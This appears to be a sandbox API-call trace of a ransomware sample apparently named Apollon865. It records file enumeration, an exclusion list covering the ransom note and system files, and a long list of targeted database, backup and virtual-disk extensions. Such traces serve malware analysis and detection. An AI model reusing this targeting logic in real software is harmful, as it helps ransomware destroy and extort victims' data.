	[0072.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0072.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0072.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.551] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0072.551] CloseHandle (hObject=0x118) returned 1
	[0072.551] CloseHandle (hObject=0xd8) returned 1
	[0072.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0072.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.552] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="Apollon865.txt.exe") returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2=".") returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="..") returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="windows") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="bootmgr") returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="temp") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="pagefile.sys") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="boot") returned 1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="ids.txt") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="ntuser.dat") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="perflogs") returned -1
	[0072.552] lstrcmpiW (lpString1="DataServices", lpString2="MSBuild") returned -1
	[0072.552] lstrlenW (lpString="DataServices") returned 12
	[0072.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML") returned 60
	[0072.552] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DataServices" | out: lpString1="DataServices") returned="DataServices"
	[0072.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0072.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0072.552] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0072.552] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1
	[0072.552] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.552] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="Apollon865.txt.exe") returned 1
	[0072.552] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".") returned 1
	[0072.552] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="..") returned 1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="windows") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="bootmgr") returned 1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="temp") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="pagefile.sys") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="boot") returned 1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="ids.txt") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="ntuser.dat") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="perflogs") returned -1
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="MSBuild") returned -1
	[0072.553] lstrlenW (lpString="DBENGR.VSL") returned 10
	[0072.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned 60
	[0072.553] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DBENGR.VSL" | out: lpString1="DBENGR.VSL") returned="DBENGR.VSL"
	[0072.553] lstrlenW (lpString="DBENGR.VSL") returned 10
	[0072.553] lstrlenW (lpString="Apollon865") returned 10
	[0072.553] lstrlenW (lpString=".dll") returned 4
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".dll") returned 1
	[0072.553] lstrlenW (lpString=".lnk") returned 4
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".lnk") returned 1
	[0072.553] lstrlenW (lpString=".ini") returned 4
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".ini") returned 1
	[0072.553] lstrlenW (lpString=".sys") returned 4
	[0072.553] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".sys") returned 1
	[0072.553] lstrlenW (lpString="DBENGR.VSL") returned 10
	[0072.553] lstrlenW (lpString="bak") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1
	[0072.553] lstrlenW (lpString="ba_") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1
	[0072.553] lstrlenW (lpString="dbb") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1
	[0072.553] lstrlenW (lpString="vmdk") returned 4
	[0072.553] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1
	[0072.553] lstrlenW (lpString="rar") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1
	[0072.553] lstrlenW (lpString="zip") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1
	[0072.553] lstrlenW (lpString="tgz") returned 3
	[0072.553] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1
	[0072.554] lstrlenW (lpString="vbox") returned 4
	[0072.554] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1
	[0072.554] lstrlenW (lpString="vdi") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1
	[0072.554] lstrlenW (lpString="vhd") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1
	[0072.554] lstrlenW (lpString="vhdx") returned 4
	[0072.554] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1
	[0072.554] lstrlenW (lpString="avhd") returned 4
	[0072.554] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1
	[0072.554] lstrlenW (lpString="db") returned 2
	[0072.554] lstrcmpiW (lpString1="SL", lpString2="db") returned 1
	[0072.554] lstrlenW (lpString="db2") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1
	[0072.554] lstrlenW (lpString="db3") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1
	[0072.554] lstrlenW (lpString="dbf") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1
	[0072.554] lstrlenW (lpString="mdf") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1
	[0072.554] lstrlenW (lpString="mdb") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1
	[0072.554] lstrlenW (lpString="sql") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1
	[0072.554] lstrlenW (lpString="sqlite") returned 6
	[0072.554] lstrcmpiW (lpString1="GR.VSL", lpString2="sqlite") returned -1
	[0072.554] lstrlenW (lpString="sqlite3") returned 7
	[0072.554] lstrcmpiW (lpString1="NGR.VSL", lpString2="sqlite3") returned -1
	[0072.554] lstrlenW (lpString="sqlitedb") returned 8
	[0072.554] lstrcmpiW (lpString1="ENGR.VSL", lpString2="sqlitedb") returned -1
	[0072.554] lstrlenW (lpString="xml") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1
	[0072.554] lstrlenW (lpString="$er") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1
	[0072.554] lstrlenW (lpString="4dd") returned 3
	[0072.554] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1
	[0072.554] lstrlenW (lpString="4dl") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1
	[0072.555] lstrlenW (lpString="^^^") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1
	[0072.555] lstrlenW (lpString="abs") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1
	[0072.555] lstrlenW (lpString="abx") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1
	[0072.555] lstrlenW (lpString="accdb") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accdb") returned 1
	[0072.555] lstrlenW (lpString="accdc") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accdc") returned 1
	[0072.555] lstrlenW (lpString="accde") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accde") returned 1
	[0072.555] lstrlenW (lpString="accdr") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accdr") returned 1
	[0072.555] lstrlenW (lpString="accdt") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accdt") returned 1
	[0072.555] lstrlenW (lpString="accdw") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accdw") returned 1
	[0072.555] lstrlenW (lpString="accft") returned 5
	[0072.555] lstrcmpiW (lpString1="R.VSL", lpString2="accft") returned 1
	[0072.555] lstrlenW (lpString="adb") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1
	[0072.555] lstrlenW (lpString="adb") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1
	[0072.555] lstrlenW (lpString="ade") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1
	[0072.555] lstrlenW (lpString="adf") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1
	[0072.555] lstrlenW (lpString="adn") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1
	[0072.555] lstrlenW (lpString="adp") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1
	[0072.555] lstrlenW (lpString="alf") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1
	[0072.555] lstrlenW (lpString="ask") returned 3
	[0072.555] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1
	[0072.555] lstrlenW (lpString="btr") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1
	[0072.556] lstrlenW (lpString="cat") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1
	[0072.556] lstrlenW (lpString="cdb") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1
	[0072.556] lstrlenW (lpString="ckp") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1
	[0072.556] lstrlenW (lpString="cma") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1
	[0072.556] lstrlenW (lpString="cpd") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1
	[0072.556] lstrlenW (lpString="dacpac") returned 6
	[0072.556] lstrcmpiW (lpString1="GR.VSL", lpString2="dacpac") returned 1
	[0072.556] lstrlenW (lpString="dad") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1
	[0072.556] lstrlenW (lpString="dadiagrams") returned 10
	[0072.556] lstrlenW (lpString="daschema") returned 8
	[0072.556] lstrcmpiW (lpString1="ENGR.VSL", lpString2="daschema") returned 1
	[0072.556] lstrlenW (lpString="db-journal") returned 10
	[0072.556] lstrlenW (lpString="db-shm") returned 6
	[0072.556] lstrcmpiW (lpString1="GR.VSL", lpString2="db-shm") returned 1
	[0072.556] lstrlenW (lpString="db-wal") returned 6
	[0072.556] lstrcmpiW (lpString1="GR.VSL", lpString2="db-wal") returned 1
	[0072.556] lstrlenW (lpString="dbc") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1
	[0072.556] lstrlenW (lpString="dbs") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1
	[0072.556] lstrlenW (lpString="dbt") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1
	[0072.556] lstrlenW (lpString="dbv") returned 3
	[0072.556] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1
	[0072.556] lstrlenW (lpString="dbx") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1
	[0072.557] lstrlenW (lpString="dcb") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1
	[0072.557] lstrlenW (lpString="dct") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1
	[0072.557] lstrlenW (lpString="dcx") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1
	[0072.557] lstrlenW (lpString="ddl") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1
	[0072.557] lstrlenW (lpString="dlis") returned 4
	[0072.557] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1
	[0072.557] lstrlenW (lpString="dp1") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1
	[0072.557] lstrlenW (lpString="dqy") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1
	[0072.557] lstrlenW (lpString="dsk") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1
	[0072.557] lstrlenW (lpString="dsn") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1
	[0072.557] lstrlenW (lpString="dtsx") returned 4
	[0072.557] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1
	[0072.557] lstrlenW (lpString="dxl") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1
	[0072.557] lstrlenW (lpString="eco") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1
	[0072.557] lstrlenW (lpString="ecx") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1
	[0072.557] lstrlenW (lpString="edb") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1
	[0072.557] lstrlenW (lpString="epim") returned 4
	[0072.557] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1
	[0072.557] lstrlenW (lpString="fcd") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1
	[0072.557] lstrlenW (lpString="fdb") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1
	[0072.557] lstrlenW (lpString="fic") returned 3
	[0072.557] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1
	[0072.558] lstrlenW (lpString="flexolibrary") returned 12
	[0072.558] lstrlenW (lpString="fm5") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1
	[0072.558] lstrlenW (lpString="fmp") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1
	[0072.558] lstrlenW (lpString="fmp12") returned 5
	[0072.558] lstrcmpiW (lpString1="R.VSL", lpString2="fmp12") returned 1
	[0072.558] lstrlenW (lpString="fmpsl") returned 5
	[0072.558] lstrcmpiW (lpString1="R.VSL", lpString2="fmpsl") returned 1
	[0072.558] lstrlenW (lpString="fol") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1
	[0072.558] lstrlenW (lpString="fp3") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1
	[0072.558] lstrlenW (lpString="fp4") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1
	[0072.558] lstrlenW (lpString="fp5") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1
	[0072.558] lstrlenW (lpString="fp7") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1
	[0072.558] lstrlenW (lpString="fpt") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1
	[0072.558] lstrlenW (lpString="frm") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1
	[0072.558] lstrlenW (lpString="gdb") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1
	[0072.558] lstrlenW (lpString="gdb") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1
	[0072.558] lstrlenW (lpString="grdb") returned 4
	[0072.558] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1
	[0072.558] lstrlenW (lpString="gwi") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1
	[0072.558] lstrlenW (lpString="hdb") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1
	[0072.558] lstrlenW (lpString="his") returned 3
	[0072.558] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1
	[0072.558] lstrlenW (lpString="ib") returned 2
	[0072.558] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1
	[0072.559] lstrlenW (lpString="idb") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1
	[0072.559] lstrlenW (lpString="ihx") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1
	[0072.559] lstrlenW (lpString="itdb") returned 4
	[0072.559] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1
	[0072.559] lstrlenW (lpString="itw") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1
	[0072.559] lstrlenW (lpString="jet") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1
	[0072.559] lstrlenW (lpString="jtx") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1
	[0072.559] lstrlenW (lpString="kdb") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1
	[0072.559] lstrlenW (lpString="kexi") returned 4
	[0072.559] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1
	[0072.559] lstrlenW (lpString="kexic") returned 5
	[0072.559] lstrcmpiW (lpString1="R.VSL", lpString2="kexic") returned 1
	[0072.559] lstrlenW (lpString="kexis") returned 5
	[0072.559] lstrcmpiW (lpString1="R.VSL", lpString2="kexis") returned 1
	[0072.559] lstrlenW (lpString="lgc") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1
	[0072.559] lstrlenW (lpString="lwx") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1
	[0072.559] lstrlenW (lpString="maf") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1
	[0072.559] lstrlenW (lpString="maq") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1
	[0072.559] lstrlenW (lpString="mar") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1
	[0072.559] lstrlenW (lpString="marshal") returned 7
	[0072.559] lstrcmpiW (lpString1="NGR.VSL", lpString2="marshal") returned 1
	[0072.559] lstrlenW (lpString="mas") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1
	[0072.559] lstrlenW (lpString="mav") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1
	[0072.559] lstrlenW (lpString="maw") returned 3
	[0072.559] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1
	[0072.559] lstrlenW (lpString="mdbhtml") returned 7
	[0072.560] lstrcmpiW (lpString1="NGR.VSL", lpString2="mdbhtml") returned 1
	[0072.560] lstrlenW (lpString="mdn") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1
	[0072.560] lstrlenW (lpString="mdt") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1
	[0072.560] lstrlenW (lpString="mfd") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1
	[0072.560] lstrlenW (lpString="mpd") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1
	[0072.560] lstrlenW (lpString="mrg") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1
	[0072.560] lstrlenW (lpString="mud") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1
	[0072.560] lstrlenW (lpString="mwb") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1
	[0072.560] lstrlenW (lpString="myd") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1
	[0072.560] lstrlenW (lpString="ndf") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1
	[0072.560] lstrlenW (lpString="nnt") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1
	[0072.560] lstrlenW (lpString="nrmlib") returned 6
	[0072.560] lstrcmpiW (lpString1="GR.VSL", lpString2="nrmlib") returned -1
	[0072.560] lstrlenW (lpString="ns2") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1
	[0072.560] lstrlenW (lpString="ns3") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1
	[0072.560] lstrlenW (lpString="ns4") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1
	[0072.560] lstrlenW (lpString="nsf") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1
	[0072.560] lstrlenW (lpString="nv") returned 2
	[0072.560] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1
	[0072.560] lstrlenW (lpString="nv2") returned 3
	[0072.560] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1
	[0072.560] lstrlenW (lpString="nwdb") returned 4
	[0072.561] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1
	[0072.561] lstrlenW (lpString="nyf") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1
	[0072.561] lstrlenW (lpString="odb") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1
	[0072.561] lstrlenW (lpString="odb") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1
	[0072.561] lstrlenW (lpString="oqy") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1
	[0072.561] lstrlenW (lpString="ora") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1
	[0072.561] lstrlenW (lpString="orx") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1
	[0072.561] lstrlenW (lpString="owc") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1
	[0072.561] lstrlenW (lpString="p96") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1
	[0072.561] lstrlenW (lpString="p97") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1
	[0072.561] lstrlenW (lpString="pan") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1
	[0072.561] lstrlenW (lpString="pdb") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1
	[0072.561] lstrlenW (lpString="pdm") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1
	[0072.561] lstrlenW (lpString="pnz") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1
	[0072.561] lstrlenW (lpString="qry") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1
	[0072.561] lstrlenW (lpString="qvd") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1
	[0072.561] lstrlenW (lpString="rbf") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1
	[0072.561] lstrlenW (lpString="rctd") returned 4
	[0072.561] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1
	[0072.561] lstrlenW (lpString="rod") returned 3
	[0072.561] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1
	[0072.561] lstrlenW (lpString="rodx") returned 4
	[0072.562] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1
	[0072.562] lstrlenW (lpString="rpd") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1
	[0072.562] lstrlenW (lpString="rsd") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1
	[0072.562] lstrlenW (lpString="sas7bdat") returned 8
	[0072.562] lstrcmpiW (lpString1="ENGR.VSL", lpString2="sas7bdat") returned -1
	[0072.562] lstrlenW (lpString="sbf") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1
	[0072.562] lstrlenW (lpString="scx") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1
	[0072.562] lstrlenW (lpString="sdb") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1
	[0072.562] lstrlenW (lpString="sdc") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1
	[0072.562] lstrlenW (lpString="sdf") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1
	[0072.562] lstrlenW (lpString="sis") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1
	[0072.562] lstrlenW (lpString="spq") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1
	[0072.562] lstrlenW (lpString="te") returned 2
	[0072.562] lstrcmpiW (lpString1="SL", lpString2="te") returned -1
	[0072.562] lstrlenW (lpString="teacher") returned 7
	[0072.562] lstrcmpiW (lpString1="NGR.VSL", lpString2="teacher") returned -1
	[0072.562] lstrlenW (lpString="tmd") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1
	[0072.562] lstrlenW (lpString="tps") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1
	[0072.562] lstrlenW (lpString="trc") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1
	[0072.562] lstrlenW (lpString="trc") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1
	[0072.562] lstrlenW (lpString="trm") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1
	[0072.562] lstrlenW (lpString="udb") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1
	[0072.562] lstrlenW (lpString="udl") returned 3
	[0072.562] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1
	[0072.563] lstrlenW (lpString="usr") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1
	[0072.563] lstrlenW (lpString="v12") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1
